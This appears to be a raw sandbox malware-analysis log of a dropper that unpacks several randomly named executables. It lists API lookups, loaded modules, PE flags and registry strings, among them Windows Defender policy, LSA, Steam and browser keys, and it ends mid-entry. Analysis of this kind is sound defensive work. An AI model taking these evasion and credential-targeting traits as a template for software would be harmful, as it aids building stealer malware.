"GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CryptAcquireContextA (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00005984)31:Tba3,"1fX89KT6.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "1fX89KT6.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "1fX89KT6.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "1fX89KT6.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "1fX89KT6.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "1fX89KT6.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "1fX89KT6.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "4HS096BX.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "4HS096BX.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "4HS096BX.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "4HS096BX.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "4HS096BX.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "4HS096BX.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "4HS096BX.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" - [base:0; Status:c0000135] "4HS096BX.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "4HS096BX.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll" - [base:0; Status:c0000135] "4HS096BX.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll" - [base:0; Status:c0000135] "4HS096BX.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "4HS096BX.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "4HS096BX.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "4HS096BX.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "4HS096BX.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135]32:T6b1,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "VH4vX77.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "ro8sA21.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "DO2BB55.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "TK1xO34.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "4HS096BX.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "5Pa4Mj0.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "2Pm6119.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "1fX89KT6.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE33:T627,Observed unmanaged function "DwmIsCompositionEnabled" in "4HS096BX.exe" Observed unmanaged function "BitBlt" in "4HS096BX.exe" Observed unmanaged function "CreateRoundRectRgn" in "4HS096BX.exe" Observed unmanaged function "PathCompactPath" in "4HS096BX.exe" Observed unmanaged function "ClientToScreen" in "4HS096BX.exe" Observed unmanaged function "CreateWindowEx" in "4HS096BX.exe" Observed unmanaged function "DestroyWindow" in "4HS096BX.exe" Observed unmanaged function "DrawMenuBar" in "4HS096BX.exe" Observed unmanaged function "FindWindow" in "4HS096BX.exe" Observed unmanaged function "GetClassName" in "4HS096BX.exe" Observed unmanaged function "GetClientRect" in "4HS096BX.exe" Observed unmanaged function "GetCursorPos" in "4HS096BX.exe" Observed unmanaged function "GetDCEx" in "4HS096BX.exe" Observed unmanaged function "GetMonitorInfo" in "4HS096BX.exe" Observed unmanaged function "GetScrollInfo" in "4HS096BX.exe" Observed unmanaged function "GetSystemMenu" in "4HS096BX.exe" Observed unmanaged function "GetWindowDC" in "4HS096BX.exe" Observed unmanaged function "GetWindowLong" in "4HS096BX.exe" Observed unmanaged function "GetWindowRect" in "4HS096BX.exe" Observed unmanaged function "GetWindowText" in "4HS096BX.exe" Observed unmanaged function "InsertMenu" in "4HS096BX.exe" Observed unmanaged function "InsertMenuItem" in "4HS096BX.exe" Observed unmanaged function "MonitorFromWindow" in "4HS096BX.exe" Observed unmanaged function "RegisterHotKey" in "4HS096BX.exe" Observed unmanaged function "ReleaseCapture" in "4HS096BX.exe"34:T231e,"ISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00005636.00000000.75157.00280000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00005636.00000000.75157.00971000.00000020.mdmp "ISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00005636.00000001.77080.00280000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00005648.00000002.78963.001B1000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00005660.00000000.75201.00C21000.00000020.mdmp "ISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00005704.00000002.78886.00370000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00005704.00000002.78886.00B81000.00000020.mdmp "SOFTWARE\Microsoft\Windows Defender\Features" in Source: 00000000-00005768.00000000.75257.01D20000.00000004.mdmp "SOFTWARE\Policies\Microsoft\Windows Defender" in Source: 00000000-00005768.00000000.75257.01D20000.00000004.mdmp "SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" in Source: 00000000-00005768.00000000.75257.01D20000.00000004.mdmp "SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" in Source: 00000000-00005768.00000000.75257.01D20000.00000004.mdmp "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" in Source: 00000000-00005768.00000000.75257.01D20000.00000004.mdmp "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" in Source: 00000000-00005768.00000000.75257.01D20000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00005768.00000000.75257.01D20000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" in Source: 00000000-00005768.00000000.75257.01D20000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" in Source: 00000000-00005768.00000000.75257.01D20000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" in Source: 00000000-00005768.00000000.75257.01D20000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" in Source: 00000000-00005768.00000000.75257.01D20000.00000004.mdmp "SOFTWARE\Microsoft\Windows Defender\Features" in Source: 00000000-00005768.00000001.75291.01D20000.00000004.mdmp "SOFTWARE\Policies\Microsoft\Windows Defender" in Source: 00000000-00005768.00000001.75291.01D20000.00000004.mdmp "SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" in Source: 00000000-00005768.00000001.75291.01D20000.00000004.mdmp "SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" in Source: 00000000-00005768.00000001.75291.01D20000.00000004.mdmp "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" in Source: 00000000-00005768.00000001.75291.01D20000.00000004.mdmp "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" in Source: 00000000-00005768.00000001.75291.01D20000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00005768.00000001.75291.01D20000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" in Source: 00000000-00005768.00000001.75291.01D20000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" in Source: 00000000-00005768.00000001.75291.01D20000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" in Source: 00000000-00005768.00000001.75291.01D20000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" in Source: 00000000-00005768.00000001.75291.01D20000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" in Source: 00000000-00005768.00000001.75291.01D20000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" in Source: 00000000-00005768.00000001.75291.01D20000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00005932.00000000.75247.00261000.00000020.mdmp "SOFTWARE\WOW6432Node\Clients\StartMenuInternet" in Source: 00000000-00005984.00000000.76287.01FC0000.00000004.mdmp "SOFTWARE\Clients\StartMenuInternet" in Source: 00000000-00005984.00000000.76287.01FC0000.00000004.mdmp "Software\Valve\Steam" in Source: 00000000-00005984.00000000.76287.01FC0000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00005984.00000000.76287.01FC0000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00005984.00000000.76287.01FC0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00005984.00000000.76287.01FC0000.00000004.mdmp "Read7HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa" in Source: 00000000-00005984.00000001.78210.00730000.00000004.mdmp "SOFTWARE\WOW6432Node\Clients\StartMenuInternet" in Source: 00000000-00005984.00000001.78210.01FC0000.00000004.mdmp "SOFTWARE\Clients\StartMenuInternet" in Source: 00000000-00005984.00000001.78210.01FC0000.00000004.mdmp "Software\Valve\Steam" in Source: 00000000-00005984.00000001.78210.01FC0000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00005984.00000001.78210.01FC0000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00005984.00000001.78210.01FC0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00005984.00000001.78210.01FC0000.00000004.mdmp "Software\Microsoft\.NETFramework" in Source: 00000000-00005984.00000001.78210.01FC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework" in Source: 00000000-00005984.00000001.78210.01FC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00005984.00000001.78210.01FC0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00005984.00000001.78210.01FC0000.00000004.mdmp "SOFTWARE\Microsoft\Wind" in Source: 00000000-00005984.00000001.78210.01FC0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Romance Standard Time" in Source: 00000000-00005984.00000001.78210.01FC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Romance Standard Time" in Source: 00000000-00005984.00000001.78210.01FC0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Romance Standard Time\Dynamic DST" in Source: 00000000-00005984.00000001.78210.01FC0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\XML" in Source: 00000000-00005984.00000001.78210.01FC0000.00000004.mdmp "Read7HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa" in Source: 00000000-00005984.00000002.80134.00730000.00000004.mdmp "SOFTWARE\WOW6432Node\Clients\StartMenuInternet" in Source: 00000000-00005984.00000002.80134.01FC0000.00000004.mdmp "SOFTWARE\Clients\StartMenuInternet" in Source: 00000000-00005984.00000002.80134.01FC0000.00000004.mdmp "Software\Valve\Steam" in Source: 00000000-00005984.00000002.80134.01FC0000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00005984.00000002.80134.01FC0000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00005984.00000002.80134.01FC0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00005984.00000002.80134.01FC0000.00000004.mdmp "Software\Microsoft\.NETFramework" in Source: 00000000-00005984.00000002.80134.01FC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework" in Source: 00000000-00005984.00000002.80134.01FC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00005984.00000002.80134.01FC0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00005984.00000002.80134.01FC0000.00000004.mdmp "SOFTWARE\Microsoft\Wind" in Source: 00000000-00005984.00000002.80134.01FC0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Romance Standard Time" in Source: 00000000-00005984.00000002.80134.01FC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Romance Standard Time" in Source: 00000000-00005984.00000002.80134.01FC0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Romance Standard Time\Dynamic DST" in Source: 00000000-00005984.00000002.80134.01FC0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\XML" in Source: 00000000-00005984.00000002.80134.01FC0000.00000004.mdmp35:T1c4a,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72020000 "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 750b0000 "VH4vX77.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 71ec0000 "VH4vX77.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 750b0000 "ro8sA21.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72160000 "ro8sA21.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 750b0000 "DO2BB55.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72130000 "DO2BB55.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 750b0000 "1fX89KT6.exe" loaded module "USER32.DLL" at base 77230000 "1fX89KT6.exe" loaded module "MSCOREE.DLL" at base 6be60000 "1fX89KT6.exe" loaded module "PSAPI.DLL" at base 774c0000 "1fX89KT6.exe" loaded module "RPCRT4.DLL" at base 75910000 "1fX89KT6.exe" loaded module "KERNEL32.DLL" at base 77110000 "1fX89KT6.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 632c0000 "1fX89KT6.exe" loaded module "OLE32.DLL" at base 76ef0000 "1fX89KT6.exe" loaded module "CRYPTBASE.DLL" at base 75100000 "1fX89KT6.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 73ec0000 "1fX89KT6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 72100000 "1fX89KT6.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 62860000 "1fX89KT6.exe" loaded module "ADVAPI32.DLL" at base 769b0000 "1fX89KT6.exe" loaded module "SSPICLI.DLL" at base 75090000 "1fX89KT6.exe" loaded module "ADVAPI32" at base 769b0000 "1fX89KT6.exe" loaded module "NTDLL.DLL" at base 77300000 "1fX89KT6.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 71680000 "1fX89KT6.exe" loaded module "OLEAUT32.DLL" at base 76610000 "3qu90Pt.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6b000000 "4HS096BX.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6b000000 "4HS096BX.exe" loaded module "MSCOREE.DLL" at base 6be60000 "4HS096BX.exe" loaded module "PSAPI.DLL" at base 774c0000 "4HS096BX.exe" loaded module "RPCRT4.DLL" at base 75910000 "4HS096BX.exe" loaded module "KERNEL32.DLL" at base 77110000 "4HS096BX.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 62b10000 "4HS096BX.exe" loaded module "OLE32.DLL" at base 76ef0000 "4HS096BX.exe" loaded module "CRYPTBASE.DLL" at base 75100000 "4HS096BX.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73e70000 "4HS096BX.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 72180000 "4HS096BX.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 6abd0000 "4HS096BX.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 620b0000 "4HS096BX.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 651d0000 "4HS096BX.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 61240000 "4HS096BX.exe" loaded module "ADVAPI32.DLL" at base 769b0000 "4HS096BX.exe" loaded module "UXTHEME.DLL" at base 73e70000 "4HS096BX.exe" loaded module "USER32.DLL" at base 77230000 "4HS096BX.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 60a20000 "4HS096BX.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 6a4a0000 "4HS096BX.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 64700000 "4HS096BX.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 72150000 "4HS096BX.exe" loaded module "NTDLL.DLL" at base 77300000 "4HS096BX.exe" loaded module "SHELL32.DLL" at base 759c0000 "4HS096BX.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 77450000 "4HS096BX.exe" loaded module "PROFAPI.DLL" at base 75220000 "4HS096BX.exe" loaded module "BCRYPT.DLL" at base 74d20000 "4HS096BX.exe" loaded module "CRYPTSP.DLL" at base 74c10000 "4HS096BX.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 749a0000 "4HS096BX.exe" loaded module "IMM32.DLL" at base 76ac0000 "4HS096BX.exe" loaded module "COMCTL32.DLL" at base 71990000 "4HS096BX.exe" loaded module "GDI32.DLL" at base 77470000 "4HS096BX.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\WINDOWSBASE\1A4CC316FB6D09525321FC0BE44692D8\WINDOWSBASE.NI.DLL" at base 60600000 "4HS096BX.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIONCORE\468F4E17BE144CA12A73A4297EACC9CC\PRESENTATIONCORE.NI.DLL" at base 5f9c0000 "4HS096BX.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIO5AE0F00F#\252CC7B0FAE8CFE083BDC149957C0C54\PRESENTATIONFRAMEWORK.NI.DLL" at base 5e5d0000 "4HS096BX.exe" loaded module "UCRTBASE_CLR0400.DLL" at base 6a7d0000 "4HS096BX.exe" loaded module "SHLWAPI.DLL" at base 76a60000 "4HS096BX.exe" loaded module "DWRITE.DLL" at base 5e490000 "4HS096BX.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 753f0000 "4HS096BX.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\WPFGFX_V0400.DLL" at base 5e300000 "4HS096BX.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\PRESENTATIONNATIVE_V0400.DLL" at base 68340000 "4HS096BX.exe" loaded module "VERSION.DLL" at base 746a0000 "4HS096BX.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.RUNTEB92AA12#\274E43040C8A7A02EF1065DB3283005A\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL" at base 5e020000 "4HS096BX.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.IDENTITYMODEL\C2EF5BC545B98A289F02D0B3EDDBE280\SYSTEM.IDENTITYMODEL.NI.DLL" at base 5dd10000 "4HS096BX.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SMDIAGNOSTICS\DC67DCB4B2FB4A3853D458CAB08561F0\SMDIAGNOSTICS.NI.DLL" at base 72130000 "4HS096BX.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.TRANSACTIONS\3D760B4A3260A41EF84A3FD866780980\SYSTEM.TRANSACTIONS.NI.DLL" at base 681c0000 "4HS096BX.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 6bd20000 "4HS096BX.exe" loaded module "WS2_32.DLL" at base 771f0000 "4HS096BX.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74bd0000 "4HS096BX.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74730000 "4HS096BX.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74bc0000 "4HS096BX.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 5d5b000036:T1123,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775" was detected as "Microsoft Cabinet" and name: "sfx" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775" was detected as "Microsoft Visual C/C++" and name: "Compiler" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775" was detected as "Microsoft Cabinet File" and name: "Archive" "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775" was detected as "Microsoft Linker" and name: "Linker" "VH4vX77.exe" was detected as "Microsoft Cabinet" and name: "sfx" "VH4vX77.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "VH4vX77.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "VH4vX77.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "VH4vX77.exe" was detected as "Microsoft Linker" and name: "Linker" "ro8sA21.exe" was detected as "Microsoft Cabinet" and name: "sfx" "ro8sA21.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "ro8sA21.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "ro8sA21.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "ro8sA21.exe" was detected as "Microsoft Linker" and name: "Linker" "DO2BB55.exe" was detected as "Microsoft Cabinet" and name: "sfx" "DO2BB55.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "DO2BB55.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "DO2BB55.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "DO2BB55.exe" was detected as "Microsoft Linker" and name: "Linker" "TK1xO34.exe" was detected as "Microsoft Cabinet" and name: "sfx" "TK1xO34.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "TK1xO34.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "TK1xO34.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "TK1xO34.exe" was detected as "Microsoft Linker" and name: "Linker" "4HS096BX.exe" was detected as "Microsoft Cabinet" and name: "sfx" "4HS096BX.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "4HS096BX.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "4HS096BX.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "4HS096BX.exe" was detected as "Microsoft Linker" and name: "Linker" "5Pa4Mj0.exe" was detected as "Microsoft Cabinet" and name: 